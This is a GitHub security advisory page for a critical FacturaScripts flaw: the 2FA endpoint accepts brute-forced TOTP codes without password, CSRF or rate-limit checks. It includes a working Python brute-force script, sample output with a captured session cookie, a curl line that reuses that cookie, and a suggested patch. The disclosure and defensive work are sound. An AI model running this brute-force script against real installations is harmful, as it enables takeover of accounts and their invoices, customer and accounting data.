GHSA-C67F-GMXW-MJ93

Vulnerability from github – Published: 2026-07-13 23:35 – Updated: 2026-07-13 23:35
VLAI
Summary
FacturaScripts: Account takeover of any 2FA-enabled user
Details

Authentication bypass in FacturaScripts: /login?action=two-factor-validation accepts brute-forceable TOTP without password or CSRF protection

Summary

Core/Controller/Login.php::twoFactorValidationAction() accepts an unauthenticated POST containing only fsNick and fsTwoFactorCode. If the TOTP value matches, the server issues a full fsNick + fsLogkey session cookie pair. The handler:

  1. Does not verify the password — the user is not required to have just completed loginAction.
  2. Does not call validateFormToken() — no CSRF token is required (every other action handler in the same file does call it).
  3. Does not call userHasManyIncidents() before processingloginAction and changePasswordAction both check this guard before doing work; the 2FA handler only writes to the incident list after a failure, and the incident list is consulted by loginAction / changePasswordAction but not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all.

Combined with TwoFactorManager::VERIFICATION_WINDOW = 8 (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is

N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)

On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account.

The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (admin, the company name, the person's initials).

Severity

CVSS 4.0 base score: 9.3 — Critical

Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Metric Value Rationale
Attack Vector (AV) Network (N) One HTTP POST over the public internet.
Attack Complexity (AC) Low (L) No timing, configuration, or environmental conditions.
Attack Requirements (AT) None (N) The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user.
Privileges Required (PR) None (N) The endpoint accepts the attack unauthenticated.
User Interaction (UI) None (N) No user action; the victim only has to have 2FA enabled.
Vulnerable Confidentiality (VC) High (H) Full read access as the hijacked user (admin → entire database).
Vulnerable Integrity (VI) High (H) Full write access as the hijacked user.
Vulnerable Availability (VA) Low (L) Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via loginAction for 10 minutes (MAX_INCIDENT_COUNT = 6, INCIDENT_EXPIRATION_TIME = 600). Targeted account-lockout DoS against any nick.
Subsequent (SC / SI / SA) None No second-system pivot from the bug itself.

Threat metrics:

  • Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box.

Affected component

  • File: Core/Controller/Login.php
  • Method: twoFactorValidationAction() (lines 317–328 in the repository at commit 7392b489b, master branch as of 2026-05-13).
  • Related: Core/Lib/TwoFactorManager.php:30 (VERIFICATION_WINDOW = 8).

Vulnerable code:

protected function twoFactorValidationAction(Request $request): void
{
    $userName = $request->input('fsNick');
    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }

    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

Compare with loginAction in the same file, which calls validateFormToken() (line 275) and userHasManyIncidents() (line 287) before doing any work. The 2FA handler does neither.

Proof of concept

1. Brute force when only the victim's nick is known

This requires no prior knowledge beyond the target's nick. Because the 2FA endpoint has no rate-limiting and VERIFICATION_WINDOW=8 keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP.

poc_2fa_brute.py:

#!/usr/bin/env python3
"""
PoC: brute-force the 2FA endpoint.
Required: pip install requests
"""
import os, sys, time, random, threading, requests

BASE      = os.environ.get("BASE",      "http://localhost:9999")
NICK      = os.environ.get("NICK",      "admin")
THREADS   = int(os.environ.get("THREADS",   "32"))
MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000"))

hit = threading.Event()
attempt_count = [0]
lock = threading.Lock()
start = time.time()
result = {}

def worker(tid: int) -> None:
    s = requests.Session()
    while not hit.is_set():
        with lock:
            n = attempt_count[0]
            if n >= MAX_TRIES:
                return
            attempt_count[0] += 1
        code = f"{random.randint(0, 999999):06d}"
        try:
            r = s.post(f"{BASE}/login",
                       data={"action": "two-factor-validation",
                             "fsNick":  NICK,
                             "fsTwoFactorCode": code},
                       allow_redirects=False, timeout=5)
        except requests.RequestException:
            continue
        sc = r.headers.get("Set-Cookie", "")
        if r.status_code == 302 and "fsLogkey" in sc:
            with lock:
                if hit.is_set():
                    return
                hit.set()
                result["code"]    = code
                result["n"]       = n
                result["cookies"] = {c.name: c.value for c in r.cookies}
            return

def main() -> int:
    print(f"[*] target={BASE}  nick={NICK}  threads={THREADS}")
    threads = [threading.Thread(target=worker, args=(i,), daemon=True)
               for i in range(THREADS)]
    for t in threads: t.start()
    while not hit.is_set() and attempt_count[0] < MAX_TRIES:
        time.sleep(2)
        elapsed = time.time() - start
        print(f"  [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d}  "
              f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True)
    for t in threads: t.join()
    elapsed = time.time() - start
    if hit.is_set():
        print(f"\n[+] FOUND code={result['code']} after {result['n']:,} "
              f"attempts in {elapsed:.1f}s")
        cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items())
        print(f"[+] Cookies: {cookie_hdr}")
        print(f"\n    curl --cookie '{cookie_hdr}' {BASE}/ListUser")
        return 0
    print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit")
    return 1

if __name__ == "__main__":
    sys.exit(main())

Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick victim):

[*] target=http://localhost:9999  nick=victim  threads=32
  [  2.2s] attempts=   1094  rps=  493
  [ 24.4s] attempts=  11535  rps=  473
  [ 50.0s] attempts=  23420  rps=  468
  [100.7s] attempts=  41247  rps=  410
  [144.9s] attempts=  55418  rps=  383

[+] FOUND code=055473 after 55,773 attempts in 146.0s
[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN

A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts.

Impact

For each 2FA-enabled user (including admins):

  • Confidentiality: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration.
  • Integrity: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin).
  • Availability: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past MAX_INCIDENT_COUNT = 6, blocking the legitimate user from loginAction for 10 minutes. Repeatable indefinitely.

The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly weaker than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before.

Remediation

Four independent fixes are required; each closes a distinct gap and any one alone is insufficient.

  1. Require evidence the user just completed the password step. In loginAction, after verifyPassword succeeds and 2FA is required, write a short-lived nonce keyed by (client_ip, user_nick) to the shared cache (e.g. Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)). twoFactorValidationAction must read, validate, and delete that nonce before calling verifyTwoFactorCode. Without the nonce, return immediately.

  2. Call validateFormToken($request) at the top of twoFactorValidationAction. Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions.

  3. Call userHasManyIncidents(Session::getClientIp(), $userName) before doing any work in twoFactorValidationAction, and bail out if the threshold is exceeded. This is the missing rate-limit pre-check.

  4. Reduce TwoFactorManager::VERIFICATION_WINDOW from 8 to 1. The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step.

Suggested patch (illustrative):

// Core/Controller/Login.php
protected function twoFactorValidationAction(Request $request): void
{
    if (false === $this->validateFormToken($request)) {                       // fix 2
        return;
    }
    $userName = $request->input('fsNick');
    if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3
        Tools::log()->warning('ip-banned');
        return;
    }
    $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName;
    if (false === Cache::get($nonceKey)) {                                    // fix 1
        Tools::log()->warning('two-factor-no-pending-login');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    Cache::delete($nonceKey);

    $user = new User();
    if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) {
        Tools::log()->warning('two-factor-code-invalid');
        $this->saveIncident(Session::getClientIp(), $userName);
        return;
    }
    $this->updateUserAndRedirect($user, Session::getClientIp(), $request);
}

// Core/Lib/TwoFactorManager.php
private const VERIFICATION_WINDOW = 1; // fix 4 — was 8

loginAction then needs the matching nonce write where it currently sets $this->two_factor_user:

if ($user->two_factor_enabled) {
    Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick,
               bin2hex(random_bytes(16)), 300);
    $this->two_factor_user = $user->nick;
    $this->template = 'Login/TwoFactor.html.twig';
    return;
}

Reproduction

Tested on a clean install built from master at commit 7392b489b:


# brute force (only nick known) — secret on the server can be anything
NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47677"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-13T23:35:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection\n\n## Summary\n\n`Core/Controller/Login.php::twoFactorValidationAction()` accepts an\nunauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the\nTOTP value matches, the server issues a full `fsNick` + `fsLogkey` session\ncookie pair. The handler:\n\n1. **Does not verify the password** \u2014 the user is not required to have just\n   completed `loginAction`.\n2. **Does not call `validateFormToken()`** \u2014 no CSRF token is required (every\n   other action handler in the same file does call it).\n3. **Does not call `userHasManyIncidents()` before processing** \u2014 `loginAction`\n   and `changePasswordAction` both check this guard *before* doing work; the\n   2FA handler only writes to the incident list *after* a failure, and the\n   incident list is consulted by `loginAction` / `changePasswordAction` but\n   not by the 2FA handler itself. The endpoint therefore has **no\n   rate-limiting at all**.\n\nCombined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default\nis 1), 17 distinct six-digit codes are valid simultaneously and each remains\nvalid for ~4 minutes. The expected number of guesses to land a valid code is\n\n\u003e N \u2248 ln(0.5) / ln(1 \u2212 17 / 10\u2076) \u2248 **40 800** attempts (50% success)\n\nOn a default LAMP install a single-laptop attacker sustains ~400 RPS from\none source IP \u2014 a few minutes per account.\n\nThe vulnerability gives **complete account takeover** of any 2FA-enabled\nuser to any unauthenticated network attacker who knows the target\u0027s nick.\nAdmin nicks are typically public information (`admin`, the company name,\nthe person\u0027s initials).\n\n## Severity\n\n**CVSS 4.0 base score: 9.3 \u2014 Critical**\n\nVector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N`\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. |\n| Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. |\n| Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. |\n| Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. |\n| User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. |\n| Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin \u2192 entire database). |\n| Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. |\n| Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. |\n| Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. |\n\nThreat metrics:\n\n- Exploit Maturity (E): **Attacked (A)** \u2014 public PoC included below, runs out of the box.\n\n## Affected component\n\n- File: `Core/Controller/Login.php`\n- Method: `twoFactorValidationAction()` (lines 317\u2013328 in the repository at commit `7392b489b`, master branch as of 2026-05-13).\n- Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`).\n\nVulnerable code:\n\n```php\nprotected function twoFactorValidationAction(Request $request): void\n{\n    $userName = $request-\u003einput(\u0027fsNick\u0027);\n    $user = new User();\n    if (!$user-\u003eload($userName) || !$user-\u003everifyTwoFactorCode($request-\u003einput(\u0027fsTwoFactorCode\u0027))) {\n        Tools::log()-\u003ewarning(\u0027two-factor-code-invalid\u0027);\n        $this-\u003esaveIncident(Session::getClientIp(), $userName);\n        return;\n    }\n\n    $this-\u003eupdateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n```\n\nCompare with `loginAction` in the same file, which calls\n`validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287)\n*before* doing any work. The 2FA handler does neither.\n\n## Proof of concept\n\n### 1. Brute force when only the victim\u0027s nick is known\n\nThis requires **no prior\nknowledge** beyond the target\u0027s nick. Because the 2FA endpoint has no\nrate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once,\nrandom guessing finds a valid code in seconds to minutes from a single IP.\n\n`poc_2fa_brute.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: brute-force the 2FA endpoint.\nRequired: pip install requests\n\"\"\"\nimport os, sys, time, random, threading, requests\n\nBASE      = os.environ.get(\"BASE\",      \"http://localhost:9999\")\nNICK      = os.environ.get(\"NICK\",      \"admin\")\nTHREADS   = int(os.environ.get(\"THREADS\",   \"32\"))\nMAX_TRIES = int(os.environ.get(\"MAX_TRIES\", \"200000\"))\n\nhit = threading.Event()\nattempt_count = [0]\nlock = threading.Lock()\nstart = time.time()\nresult = {}\n\ndef worker(tid: int) -\u003e None:\n    s = requests.Session()\n    while not hit.is_set():\n        with lock:\n            n = attempt_count[0]\n            if n \u003e= MAX_TRIES:\n                return\n            attempt_count[0] += 1\n        code = f\"{random.randint(0, 999999):06d}\"\n        try:\n            r = s.post(f\"{BASE}/login\",\n                       data={\"action\": \"two-factor-validation\",\n                             \"fsNick\":  NICK,\n                             \"fsTwoFactorCode\": code},\n                       allow_redirects=False, timeout=5)\n        except requests.RequestException:\n            continue\n        sc = r.headers.get(\"Set-Cookie\", \"\")\n        if r.status_code == 302 and \"fsLogkey\" in sc:\n            with lock:\n                if hit.is_set():\n                    return\n                hit.set()\n                result[\"code\"]    = code\n                result[\"n\"]       = n\n                result[\"cookies\"] = {c.name: c.value for c in r.cookies}\n            return\n\ndef main() -\u003e int:\n    print(f\"[*] target={BASE}  nick={NICK}  threads={THREADS}\")\n    threads = [threading.Thread(target=worker, args=(i,), daemon=True)\n               for i in range(THREADS)]\n    for t in threads: t.start()\n    while not hit.is_set() and attempt_count[0] \u003c MAX_TRIES:\n        time.sleep(2)\n        elapsed = time.time() - start\n        print(f\"  [{elapsed:5.1f}s] attempts={attempt_count[0]:\u003e7d}  \"\n              f\"rps={attempt_count[0]/max(elapsed,1):.0f}\", flush=True)\n    for t in threads: t.join()\n    elapsed = time.time() - start\n    if hit.is_set():\n        print(f\"\\n[+] FOUND code={result[\u0027code\u0027]} after {result[\u0027n\u0027]:,} \"\n              f\"attempts in {elapsed:.1f}s\")\n        cookie_hdr = \"; \".join(f\"{k}={v}\" for k, v in result[\"cookies\"].items())\n        print(f\"[+] Cookies: {cookie_hdr}\")\n        print(f\"\\n    curl --cookie \u0027{cookie_hdr}\u0027 {BASE}/ListUser\")\n        return 0\n    print(f\"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit\")\n    return 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\nObserved result against the same install (victim user has 2FA enabled,\nattacker knows only the nick `victim`):\n\n```\n[*] target=http://localhost:9999  nick=victim  threads=32\n  [  2.2s] attempts=   1094  rps=  493\n  [ 24.4s] attempts=  11535  rps=  473\n  [ 50.0s] attempts=  23420  rps=  468\n  [100.7s] attempts=  41247  rps=  410\n  [144.9s] attempts=  55418  rps=  383\n\n[+] FOUND code=055473 after 55,773 attempts in 146.0s\n[+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN\n```\n\nA second run terminated in 24.6 s after 11 569 attempts. Both runs used a\nsingle source IP with no proxy rotation, no HTTP/2, no parallel hosts.\n\n## Impact\n\nFor each 2FA-enabled user (including admins):\n\n- **Confidentiality**: full read access to anything the victim can see \u2014\n  invoices, customer data, suppliers, accounting ledgers, attached files,\n  user PII, API keys, plugin configuration.\n- **Integrity**: full write access \u2014 create/modify/delete records, change\n  permissions, issue new API keys, upload plugins, install code (admin).\n- **Availability**: targeted account lockout DoS \u2014 generating six failed\n  2FA attempts (\u226a 1 s of brute-force noise) pushes the per-user incident\n  counter past `MAX_INCIDENT_COUNT = 6`, blocking the legitimate user from\n  `loginAction` for 10 minutes. Repeatable indefinitely.\n\nThe vulnerability defeats the entire purpose of 2FA in FacturaScripts:\nenabling 2FA on an account today is strictly *weaker* than not enabling\nit, because it adds an unauthenticated, brute-forceable login path that\nwasn\u0027t present before.\n\n## Remediation\n\nFour independent fixes are required; each closes a distinct gap and any\none alone is insufficient.\n\n1. **Require evidence the user just completed the password step.** In\n   `loginAction`, after `verifyPassword` succeeds and 2FA is required,\n   write a short-lived nonce keyed by `(client_ip, user_nick)` to the\n   shared cache (e.g. `Cache::set(\"2fa-pending-{ip}-{nick}\", $nonce,\n   ttl=300)`). `twoFactorValidationAction` must read, validate, and\n   delete that nonce before calling `verifyTwoFactorCode`. Without the\n   nonce, return immediately.\n\n2. **Call `validateFormToken($request)` at the top of\n   `twoFactorValidationAction`.** Every other action handler in the\n   controller does this; the 2FA handler should too. Eliminates\n   drive-by CSRF submissions.\n\n3. **Call `userHasManyIncidents(Session::getClientIp(), $userName)`\n   before doing any work in `twoFactorValidationAction`**, and bail\n   out if the threshold is exceeded. This is the missing rate-limit\n   pre-check.\n\n4. **Reduce `TwoFactorManager::VERIFICATION_WINDOW` from 8 to 1.**\n   The google2fa default is 1 (\u00b130 s). A window of 8 multiplies the\n   brute-force success rate by 17\u00d7 for no legitimate reason \u2014 TOTP\n   apps and the server clock are typically synchronised within a\n   single 30-second step.\n\nSuggested patch (illustrative):\n\n```php\n// Core/Controller/Login.php\nprotected function twoFactorValidationAction(Request $request): void\n{\n    if (false === $this-\u003evalidateFormToken($request)) {                       // fix 2\n        return;\n    }\n    $userName = $request-\u003einput(\u0027fsNick\u0027);\n    if ($this-\u003euserHasManyIncidents(Session::getClientIp(), $userName)) {     // fix 3\n        Tools::log()-\u003ewarning(\u0027ip-banned\u0027);\n        return;\n    }\n    $nonceKey = \u00272fa-pending-\u0027 . Session::getClientIp() . \u0027-\u0027 . $userName;\n    if (false === Cache::get($nonceKey)) {                                    // fix 1\n        Tools::log()-\u003ewarning(\u0027two-factor-no-pending-login\u0027);\n        $this-\u003esaveIncident(Session::getClientIp(), $userName);\n        return;\n    }\n    Cache::delete($nonceKey);\n\n    $user = new User();\n    if (!$user-\u003eload($userName) || !$user-\u003everifyTwoFactorCode($request-\u003einput(\u0027fsTwoFactorCode\u0027))) {\n        Tools::log()-\u003ewarning(\u0027two-factor-code-invalid\u0027);\n        $this-\u003esaveIncident(Session::getClientIp(), $userName);\n        return;\n    }\n    $this-\u003eupdateUserAndRedirect($user, Session::getClientIp(), $request);\n}\n\n// Core/Lib/TwoFactorManager.php\nprivate const VERIFICATION_WINDOW = 1; // fix 4 \u2014 was 8\n```\n\n`loginAction` then needs the matching nonce write where it currently\nsets `$this-\u003etwo_factor_user`:\n\n```php\nif ($user-\u003etwo_factor_enabled) {\n    Cache::set(\u00272fa-pending-\u0027 . Session::getClientIp() . \u0027-\u0027 . $user-\u003enick,\n               bin2hex(random_bytes(16)), 300);\n    $this-\u003etwo_factor_user = $user-\u003enick;\n    $this-\u003etemplate = \u0027Login/TwoFactor.html.twig\u0027;\n    return;\n}\n```\n\n## Reproduction\n\nTested on a clean install built from `master` at commit `7392b489b`:\n\n```bash\n\n# brute force (only nick known) \u2014 secret on the server can be anything\nNICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py\n```",
  "id": "GHSA-c67f-gmxw-mj93",
  "modified": "2026-07-13T23:35:48Z",
  "published": "2026-07-13T23:35:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-c67f-gmxw-mj93"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/releases/tag/v2026.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FacturaScripts: Account takeover of any 2FA-enabled user"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…